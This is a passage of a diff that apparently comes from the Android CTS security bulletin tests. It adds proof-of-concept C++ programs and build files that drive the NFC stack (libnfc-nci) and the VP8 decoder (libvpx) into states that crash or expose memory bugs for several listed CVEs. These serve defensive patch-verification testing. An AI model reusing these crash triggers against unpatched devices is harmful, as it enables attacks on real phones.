<string.h> +#include <tags_defs.h> + +#include "../includes/common.h" + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit (EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + if (ptr) { + memset(ptr, 0x0, size); + } + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ +}; + +enum { + P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void) event; + (void) p_rw_data; +} + +void GKI_freebuf(void* p_buf __attribute__((unused))) { +} + +void GKI_start_timer(uint8_t, int32_t, bool) { +} + +void GKI_stop_timer(uint8_t) { +} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = { }; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + GKI_init(); + rw_init(); + + rw_cb.p_cback = &poc_cback; + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK); + + p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + p_t3t->cur_cmd = RW_T3T_CMD_FORMAT; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK; + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN; + uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1); + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA]; + p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp new file mode 100644 index 00000000000..5dac7f7abc3 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2017", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp new file mode 100644 index 00000000000..9ecc457f143 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp @@ -0,0 +1,73 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <rw_int.h> +#include <stdlib.h> +#include "../includes/common.h" + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +uint8_t *p_data = nullptr; +extern tRW_CB rw_cb; + +extern void rw_t2t_handle_rsp(uint8_t *p_data); + +void poc_cback(uint8_t, tRW_DATA *) {} + +void exit_handler(void) { + if (p_data) { + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t; + p_t2t->state = RW_T2T_STATE_DETECT_TLV; + p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV; + p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE; + p_t2t->found_tlv = TAG_LOCK_CTRL_TLV; + p_t2t->bytes_count = 0; + p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID); + rw_cb.p_cback = &poc_cback; + p_data = (uint8_t *)malloc(sizeof(uint8_t)); + FAIL_CHECK(p_data); + + testInProgress = true; + rw_t2t_handle_rsp(p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp new file mode 100644 index 00000000000..5fdbfdba161 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp @@ -0,0 +1,38 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2020", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp new file mode 100644 index 00000000000..ba4d950474e --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp @@ -0,0 +1,80 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include <stdlib.h> +#include "../includes/common.h" + +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <tags_defs.h> +#include <llcp_int.h> + +#define DEFAULT_SAP 1 +#define LENGTH 0 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +extern tLLCP_CB llcp_cb; +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; + +void GKI_freebuf(void* x) { (void)x; } +void GKI_start_timer(uint8_t, int32_t, bool) {} +void GKI_stop_timer(uint8_t) {} + +void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { + (void)event; + (void)p_rw_data; +} + +int32_t main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + GKI_init(); + llcp_init(); + for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) { + llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED; + llcp_cb.dlcb[n].local_sap = DEFAULT_SAP; + llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP; + } + + testInProgress = true; + llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH, + nullptr); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp new file mode 100644 index 00000000000..639ca9113ff --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp @@ -0,0 +1,44 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2019-2031", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ":cts_hostsidetests_securitybulletin_memutils", + ], + compile_multilib: "64", + shared_libs: [ + "libnfc-nci", + "liblog", + ], + include_dirs: [ + "system/nfc/src/nfc/include", + "system/nfc/src/gki/common", + "system/nfc/src/gki/ulinux", + "system/nfc/src/include", + "system/nfc/src/nfa/include", + ], + cflags: [ + "-DCHECK_OVERFLOW", + ], +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp new file mode 100644 index 00000000000..17812370c49 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp @@ -0,0 +1,176 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include "../includes/common.h" +#include <nfc_api.h> +#include <nfc_int.h> +#include <rw_int.h> +#include <stdlib.h> +#include <string.h> +#include <tags_defs.h> + +#define T3T_MSG_FELICALITE_MC_OFFSET 0x01 + +bool testInProgress = false; + +struct sigaction new_action, old_action; + +void sigabrt_handler(int signum, siginfo_t *info, void *context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + +extern tRW_CB rw_cb; +extern tNFC_CB nfc_cb; +tNFC_CONN *p_data; +void rw_init(void); +tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN], + uint8_t mrti_check, uint8_t mrti_update); + +void *allocate_memory(size_t size) { + void *ptr = malloc(size); + memset(ptr, 0x0, size); + return ptr; +} + +/* States */ +enum { + RW_T3T_STATE_NOT_ACTIVATED, + RW_T3T_STATE_IDLE, + RW_T3T_STATE_COMMAND_PENDING +}; + +/* Enumeration of API commands */ +enum { + RW_T3T_CMD_DETECT_NDEF, + RW_T3T_CMD_CHECK_NDEF, + RW_T3T_CMD_UPDATE_NDEF, + RW_T3T_CMD_CHECK, + RW_T3T_CMD_UPDATE, + RW_T3T_CMD_SEND_RAW_FRAME, + RW_T3T_CMD_GET_SYSTEM_CODES, + RW_T3T_CMD_FORMAT, + RW_T3T_CMD_SET_READ_ONLY_SOFT, + RW_T3T_CMD_SET_READ_ONLY_HARD, + RW_T3T_CMD_MAX +}; + +/* Sub-states */ +enum { + /* Sub states for formatting Felica-Lite */ + RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + formatting) */ + RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ + RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + + /* Sub states for setting Felica-Lite read only */ + RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for + setting read only) */ + RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write + to complete */ + RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl) + block-read to complete */ + RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl) + block-write to complete */ +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; +} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void GKI_freebuf(void *) {} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + + GKI_init(); + rw_init(); + rw_cb.p_cback = &poc_cback; + + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == + NFC_STATUS_OK) + + p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + + p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT; + p_t3t->ndef_attrib.ln = 0x000F; + + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->offset = 0; + p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1; + + uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset; + p_t3t_rsp[0] = NCI_STATUS_OK; + p_t3t_rsp++; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0; + + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp new file mode 100644 index 00000000000..aa9a2f93e70 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2020-0034", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "32", + arch: { + arm: { + include_dirs: [ + "external/libvpx/config/arm-neon", + ], + shared_libs: [ + "libvpx", + ], + cflags: [ + "-DTEST_ARM32", + ], + }, + }, +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp new file mode 100644 index 00000000000..cc7cc22b99b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp @@ -0,0 +1,109 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include <stdlib.h> + +#ifdef TEST_ARM32 +#include <unistd.h> +#include "../includes/common.h" + +#include <string.h> +#include <algorithm> +#include <vector> +#include "vpx/vp8dx.h" +#include "vpx/vpx_decoder.h" +#include "vpx_ports/mem_ops.h" + +#define IVF_FILE_HDR_SZ 32 +#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */ + +FILE *fp = nullptr; + +void exitHandler(void) { + if (fp) { + fclose(fp); + } +} + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} +#endif + +int32_t main(int32_t argc, char **argv) { + (void)argc; + (void)argv; + +#ifdef TEST_ARM32 + atexit(exitHandler); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + FAIL_CHECK(argc >= 2); + fp = fopen(argv[1], "rb"); + FAIL_CHECK(fp); + + fseek(fp, 0, SEEK_END); + size_t size = ftell(fp); + fseek(fp, 0, SEEK_SET); + FAIL_CHECK(size > IVF_FILE_HDR_SZ); + + std::vector<uint8_t> buffer(size); + FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size); + + vpx_codec_ctx_t codec; + vpx_codec_dec_cfg_t cfg; + memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t)); + cfg.threads = 1; + FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK); + + uint8_t *data = buffer.data(); + data += IVF_FILE_HDR_SZ; + size -= IVF_FILE_HDR_SZ; + + while (size > IVF_FRAME_HDR_SZ) { + size_t frame_size = mem_get_le32(data); + size -= IVF_FRAME_HDR_SZ; + data += IVF_FRAME_HDR_SZ; + frame_size = std::min(size, frame_size); + + testInProgress = true; + vpx_codec_decode(&codec, data, frame_size, nullptr, 0); + testInProgress = false; + + vpx_codec_iter_t iter = nullptr; + vpx_image_t *img = nullptr; + while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) { + if (img->d_w > img->w || img->d_h > img->h) { + return EXIT_VULNERABLE; + } + } + data += frame_size; + size -= frame_size; + } + vpx_codec_destroy(&codec); +#endif + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp index d6ea4462558..8249c0c344e 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp @@ -19,6 +19,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t* info, void* context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t* p_data); @@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { } int main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t; rw_init(); rw_cb.p_cback = &poc_cback; @@ -38,6 +59,8 @@ int main() { p_t2t->bytes_count = 1; p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES; uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; rw_t2t_handle_rsp(data); + isTestInProgress = false; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp index 700935ce0af..5033b2e6103 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp index 947f46a2007..bb3bdc20f4d 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android Open Source Project + * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. @@ -14,74 +14,116 @@ * limitations under the License. */ +#include <../includes/common.h> +#include <../includes/memutils.h> #include <nfc_int.h> #include <rw_int.h> #define RW_MFC_STATE_READ_NDEF 0x03 #define RW_MFC_SUBSTATE_READ_BLOCK 0x03 +#define RW_MFC_DATA_LEN 0x10 +#define P_MFC_NDEF_LENGTH 1024 extern tRW_CB rw_cb; +tNFC_CONN *p_data = nullptr; +tRW_MFC_CB *p_mfc = nullptr; -void GKI_freebuf(void*) { -} +char enable_selective_overload = ENABLE_NONE; -void GKI_start_timer(uint8_t, int32_t, bool) { +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); } -void GKI_stop_timer(uint8_t) { +void GKI_freebuf(void *) {} + +void GKI_start_timer(uint8_t, int32_t, bool) {} + +void GKI_stop_timer(uint8_t) {} + +void cback(tRW_EVENT, tRW_DATA *) {} + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void)event; + (void)p_rw_data; } -void cback(tRW_EVENT, tRW_DATA*) { +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } + + if (p_mfc) { + if (p_mfc->p_ndef_buffer) { + free(p_mfc->p_ndef_buffer); + p_mfc->p_ndef_buffer = nullptr; + } + free(p_mfc); + p_mfc = nullptr; + } } int main() { - tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc; + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + 